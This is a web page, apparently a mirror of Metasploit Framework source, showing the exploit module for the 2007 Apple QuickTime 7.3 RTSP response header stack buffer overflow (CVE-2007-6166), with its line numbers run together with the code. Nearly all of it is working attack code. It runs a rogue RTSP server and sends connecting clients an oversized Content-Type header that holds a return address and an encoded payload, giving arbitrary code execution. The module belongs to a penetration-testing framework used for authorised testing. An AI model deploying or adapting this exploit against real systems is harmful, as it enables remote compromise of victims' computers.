Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::TcpServer910def initialize(info = {})11super(update_info(info,12'Name' => 'Apple QuickTime 7.3 RTSP Response Header Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in Apple QuickTime 7.3. By sending an overly long15RTSP response to a client, an attacker may be able to execute arbitrary code.16},17'Author' => 'MC',18'License' => MSF_LICENSE,19'References' =>20[21[ 'CVE', '2007-6166' ],22[ 'OSVDB', '40876' ],23[ 'BID', '26549' ],24[ 'EDB', '4648' ],25],26'DefaultOptions' =>27{28'EXITFUNC' => 'process',29},30'Payload' =>31{32'Space' => 700,33'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",34'MaxNops' => 0,35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' =>39[40[ 'QuickTime 7.3, QuickTime Player 7.3', { 'Offset' => 991, 'Ret' => 0x67644297 } ], # pop esi; pop ebx; ret / QuickTimeStreaming.qtx (7.3.0.70)41],42'Privileged' => false,43'DisclosureDate' => '2007-11-23',44'DefaultTarget' => 0))4546register_options(47[48OptPort.new('SRVPORT', [ true, "The RTSP daemon port to listen on", 554 ])49])50end5152def on_client_connect(client)53return if ((p = regenerate_payload(client)) == nil)5455client.get_once5657buffer = rand_text_english(target['Offset']) + Rex::Arch::X86.jmp_short(6) + make_nops(2)58buffer << [target.ret].pack('V') + payload.encoded + rand_text_english(4092 - payload.encoded.length)5960strname = rand_text_alpha(rand(75) + 1)61date = Time.now62num = rand(1).to_s6364header = "RTSP/1.0 200 OK\r\n"65header << "CSeq: 1\r\n"66header << "Date: #{date}\r\n"67header << "Content-Base: rtsp://0.0.0.0/#{strname}\r\n"68header << "Content-Type: #{buffer}\r\n"69header << "Content-Length: #{strname.length}\r\n\r\n"7071body = "v=#{num}\r\n"72body << "o=#{strname}\r\n"73body << "s=#{strname}\r\n"74body << "i=#{strname}\r\n"75body << "t=#{num}\r\n"76body << "a=tool:#{strname}\r\n"77body << "a=type:#{strname}\r\n"78body << "a=control:#{strname}\r\n"79body << "a=range:#{strname}\r\n"80body << "a=x-qt-text-nam:#{strname}\r\n"81body << "a=x-qt-text-inf:#{strname}\r\n"82body << "m=#{strname}\r\n"83body << "c=#{strname}\r\n"84body << "a=control:#{strname}\r\n"8586sploit = header + body8788print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...")8990client.put(sploit)91handler(client)9293service.close_client(client)94end95end969798